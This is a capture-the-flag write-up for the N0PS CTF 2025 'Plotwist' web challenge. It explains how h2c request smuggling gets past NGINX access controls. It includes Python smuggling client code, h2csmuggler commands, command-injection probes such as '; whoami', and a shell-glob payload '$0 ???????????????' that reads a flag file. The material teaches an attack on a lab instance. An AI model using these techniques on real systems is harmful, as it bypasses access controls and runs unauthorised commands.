Challenge Overview

  • CTF: N0PS CTF 2025
  • Challenge: Plotwist
  • Category: Web Exploitation
  • Points: 500 (1 solves)
  • Description:

You stand on the edge of your final test. One choice, one letter, will determine your fate and you must prove yourself worthy of the path you take. No more gray, you must choose a side : Light or dark.

So time to ask jojo the question : which side of me are you?

Choose carefully, for this moment will define who you truly are and remember, the hardest choices often lead to the greatest destiny.

  • Authors: Sto
  • Source code: NONE

This challenge is an instance based challenge (source here after it’s published)

TL;DR

This writeup covers the solution to the “Plotwist” web challenge from N0PS CTF 2025, which involves bypassing NGINX access controls to reach a restricted API endpoint.

We exploit an h2c smuggling vulnerability by crafting an HTTP/2 cleartext request using a custom Python client. This allows us to bypass the proxy and access /api/noopsy. The final step uses a clever shell expansion trick to read the flag from a filtered shell environment.

Initial Analysis

At a glance, this is as minimalistic as a web application could get. We’ve got a form that we can write into, and two options to pick which ‘person’ to send this letter to: either lordhttp or noopsy.

showcase

So lordhttp lets us through, whereas noopsy doesn’t. Interesting~

Task Analysis

Upon further exploration, I found nothing else of interest. The app is so simple: allow one request, block the other. So it should be easy to know what we should do: bypass the access control.

Checking the response header of the requests, we see that the backend is behind a reverse proxy, NGINX, specifically. So he, might be the one dropping our request before it ever reaches the backend.

server response header

This asymmetric behavior suggests that the proxy (NGINX) and the backend may handle requests differently.

This could mean:

  • The proxy is enforcing access controls or filtering certain paths/methods.
  • The backend is more permissive, but it’s hidden behind NGINX.

If we can find a way to bypass NGINX and talk to the backend directly, we might access restricted functionality.

The only problem is: NGINX inspects everything, and once it sees a request to /api/noopsy, it simply blocks it.

So is there a way to make NGINX stop looking?

As crazy as it seems, yes, there is. But before I talk about it, you need to know how the web works.

1. How the Web Works

At a high level, we have three entities that usually interact:

  • A browser that sends an HTTP request to an edge server.
  • The edge server acts like a gatekeeper: it applies security filters and decides what gets passed to the backend.
  • The backend processes the request and sends the response back to the edge server, which forwards it to you.

how web works

Edge servers here are called reverse proxies, namely NGINX.

2. What is Request Smuggling?

To evade these proxies, you need to secretly and maliciously pass a request you’re not supposed to pass to the server. This is called smuggling a request.

These attacks however are hard to achieve (or maybe I got skill issues?). They require a timing effect that makes NGINX process part of the request and leave the other part for the backend.

But what if we didn’t have to trick the proxy and could just smuggle a request by design? Here’s where h2c upgrades come into play. Let’s investigate this further.

3. Request Smuggling Via HTTP/2 Cleartext (h2c)

h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)
Taken from Jake Miller’s research. Big thanks for making this information public.

To understand this vulnerability, we need to grasp a few core ideas about the underlying technology that powers web communication.

3.1. TCP

HTTP, aka hyper text transfer protocol is just that: a protocol, ie a way to structure data to the end consumer. That data is transmitted via another protocol: TCP.

TCP transfers byte-encoded HTTP data over the wire. It doesn’t understand HTTP, just raw binary (0s and 1s).

A proxy that can interpret HTTP is Layer 7-aware. One that only sees TCP is Layer 4-aware. Layer 4 proxies can’t comprehend URLs, paths, or HTTP headers—just bytes.

3.2. The Upgrade Header

You’ve probably heard of WebSockets, the real-time protocol that enables instant communication between backend and client. To use WebSockets, we must upgrade an HTTP connection to a raw TCP connection.

We do that with an Upgrade: websocket header, which tells the proxy: “I’ll be talking fast, stop inspecting things deeply—just pass along the bytes.”

3.2. Proxy Behavior on Protocol Upgrade

Turns out, some proxies disable security checks completely once a connection is upgraded. They no longer inspect traffic at Layer 7, losing the ability to enforce access controls.


While we don’t want to send WebSocket data, we can upgrade to HTTP/2 over cleartext (h2c), a newer revision of HTTP/1.1 that achieves the same bypass, without encryption and while dodging access control.

You can read more about the vulnerability here

Exploitation

Armed with this new knowledge, we exploit the vulnerability like so:

  1. First, create a TCP connection and send an HTTP/2 upgrade header: Upgrade: h2c
  2. After the server responds with a 101 Switching Protocols, we use the now-unmonitored TCP connection to send HTTP/2 requests directly to the target, bypassing NGINX.

Unfortunately, h2c upgrades don’t work over TLS (the challenge uses https:// btw), so tools like curl won’t help, they will reject the upgrade as it contradicts the sepc.

To get around this, we’ll have to create our own client using Python’s hyper-h2 library. I’ll show you how.

Note: The following code is heavily inspired by BishopFox’s h2csmuggler.py. All credit to Jake Miller. I’m just explaining it in my own way.

Building the Client

1. Creating the TCP Connection

import socket

def create_tcp_connection(proxy_url):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    context = ssl.create_default_context()
    context.check_hostname = False

    retSock = context.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
    retSock.connect((proxy_url.hostname, 443))

    return retSock

Here we establish a TCP connection using Python’s socket library.

We point to a TCP connection/socket using file descriptors (as everything in linux is a file), hence why we return the socket.

2. Sending the Initial HTTP/1.1 Request

def send_initial_request(connection, proxy_url):
    path = proxy_url.path or "/"

    request = (
        b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" +
        b"Host: " + proxy_url.hostname.encode('utf-8') + b"\r\n" +
        b"Accept: */*\r\n" +
        b"Accept-Language: en\r\n" +
        b"Upgrade: h2c\r\n" +
        b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" +
        b"Connection: Upgrade, HTTP2-Settings\r\n" +
        b"\r\n"
    )
    connection.sendall(request)
  • The HTTP2-Settings headers defines the terms by which client and server communicate (max concurrent streams…etc).
  • Connection: Upgrade, HTTP2-Settings tells the server that the request wants to upgrade to HTTP/2 and that it wants to use the HTTP2-Settings for upgrade negotiation.

3. Creating H2 Connection Object & Sending Smuggled Request

Assuming the latter request gave a 101 Switching Protocols status code. Let’s now send our HTTP/2 requests.

HTTP/2 is a binary framed protocol. In simple terms, it doesn’t depend on raw text data like Http/1.x do (\r\n to be precise). So data is encapsulated in clear binary format. The object that handles this encapsulation is H2Connection.

It’s like a translator: you tell it what you want to say (e.g., send a request), and it gives you raw bytes to send over the wire.

import h2.connection

# This doesn't create a network connection
# h2_connection only gives binary data that WE OURSELVES send through the original tcp connection
h2_connection = h2.connection.H2Connection()

def sendSmuggledRequest(h2_connection, connection, args):
    stream_id = h2_connection.get_next_available_stream_id()

    smuggled_request_headers = [
        (':method', 'GET'),
        (':scheme', 'http'),
        (':authority', 'localhost'),
        (':path', '/api/noopsy'), # the bypassed path
    ]
    # Prepare the headers from python's format into binary format
    h2_connection.send_headers(stream_id, smuggled_request_headers)

    # Actually send the data
    connection.sendall(h2_connection.data_to_send())

Now that we sent the HTTP/2 request, we need to receive the response.

When you communicate over HTTP/2 using the h2 library, the server sends data and signals as part of the protocol, which might include things like:

  • Incoming requests
  • Responses
  • Stream lifecycle changes
  • Flow control updates
  • Server push notifications
  • And more…

The h2 library abstracts these incoming signals into “events.”

To handle those “events”, we have to receive raw data from the network and process it as follows:

# get the data using socket.recv()
events = getData(h2_connection, connection)

def handle_events(events, isVerbose):
    for event in events:
        if isinstance(event, ResponseReceived):
            # Handle response headers
            for name, value in event.headers:
                print(f"{name.decode('utf-8')}: {value.decode('utf-8')}")
        elif isinstance(event, DataReceived):
            # Handle response body data
            print(event.data.decode('utf-8', 'replace'))

Combining Everything Together

Now that we know how Jake Miller’s PoC works, we can use it to bypass nginx’s access controls as follows:

python3 h2csmuggler.py -x "https://nopsctf-<INSTANCE_ID>-plotwist-1.chals.io/api/lordhttp" "http://localhost/api/noopsy"

Where:

  • -x, --proxy PROXY is the proxy server to try to bypass
  • http://localhost/api/noopsy is the smuggled URL

The command as it is will send a GET request to /api/lordhttp and /api/noopsy, but the application accepts POST requests to both, does it accept GET requests? Let’s try:

We could’ve send some OPTIONS/HEAD methods to verify that the server actually sends an allow: GET header, but testing it this way is faster.

h2csmuggler on  master [!] via 🐹 via 🐍 v3.13.3
➜ python3 h2csmuggler.py -x "https://nopsctf-dcdefb599276-plotwist-1.chals.io/api/lordhttp" "http://localhost/api/noopsy"

[INFO] h2c stream established successfully.
:status: 200
content-length: 46
content-type: application/json
date: Wed, 04 Jun 2025 13:12:22 GMT
server: hypercorn-h2

{"msg":"Hello from the other side, Lord HTTP"}

nopsctf-dcdefb599276-plotwist-1.chals.io/api/lordhttp - 200 - 46
[INFO] Requesting - /api/noopsy
:status: 200
content-length: 100
content-type: application/json
date: Wed, 04 Jun 2025 13:12:23 GMT
server: hypercorn-h2

{"msg":"Got a secret, can you keep it? Well this one, I'll save it in the secret_flag.txt file ^.^"}

localhost/api/noopsy - 200 - 100

There we go~ Sto is kind enough to save the flag in a secret_flag.txt file, all we have to do is read that flag!

Getting the Flag (or so I Think?)

We now know /api/noopsy accepts POST requests. We test for command injection using:

  • ; whoami
  • | id
  • && uname -a
  • $(id)

But… Nothing worked :(

The server responds with a riddle.

sto riddle

Let’s decode it:

  1. Money -> This could mean $, which can refer to environment variables
  2. Talk in dollars or digits, or don’t even try -> allowed characters are $, [0-9]
  3. Got a question? I’ll answer you away -> maybe even ? is allowed?

Mhmmm, how can we read a file using only those character: $, [0-9] and ?


It turns out, there is quite a creative way to solve this, but it all depends on the same concept: shell expansion

Shell Expansion (the Real Deal)

When you’re working in your shell, and type something like: rm *, you might think that the rm command treats the character * differently and removes every file in the current directory. However, you’d be wrong!

Your shell expands * and replaces it with every file inside the current directory, so something like:

rm *

becomes:

rm file1 file2 file3...etc

BEFORE the command executes.

We can use this trick to execute commands AND supply filenames without needing to actually type letters in the terminal. More specifically, we can do this:

$0 ???????????????

Where:

  • $0 -> holds the name of the script or command being executed. The one I’m TRUSTING will give the flag based on the phrase: “I’ll answer you away”
  • ? matches exactly one character -> 15 of them match secret_flag.txt

Putting this all together (with some grep magic of course), we end up with:

➜ python3 h2csmuggler.py -x "https://nopsctf-dcdefb599276-plotwist-1.chals.io/api/lordhttp" -XPOST -d '{"letter": "$0 ???????????????"}' "http://localhost/api/noopsy" | grep -oP N0PS{.*?}
N0PS{4nD_I_FE3l_50m37h1nG_5o_wR0nG_d01nG_7h3_r18h7_7h1nG}

Flag is: N0PS{4nD_I_FE3l_50m37h1nG_5o_wR0nG_d01nG_7h3_r18h7_7h1nG}

Primeagen

Conclusions

  • The challenge exploited an h2c (HTTP/2 cleartext) request smuggling vulnerability to bypass NGINX access controls.
  • HTTP/2 upgrade allowed sending unfiltered requests directly to the backend, circumventing proxy restrictions.
  • Custom Python client using hyper-h2 was needed due to limitations with standard HTTP/2 tools over TLS.
  • The flag retrieval required understanding shell expansion and limited input filtering to craft a valid command injection payload.
  • The writeup highlights the importance of protocol-level nuances in web security and proxy behavior.

References

  1. Bishop Fox – H2C Smuggling Explained

  2. RFC 7540 – HTTP/2 Specification

  3. H2C Upgrade Mechanics

  4. Transport Layer Security, TLS 1.2 and 1.3 (Explained by Example)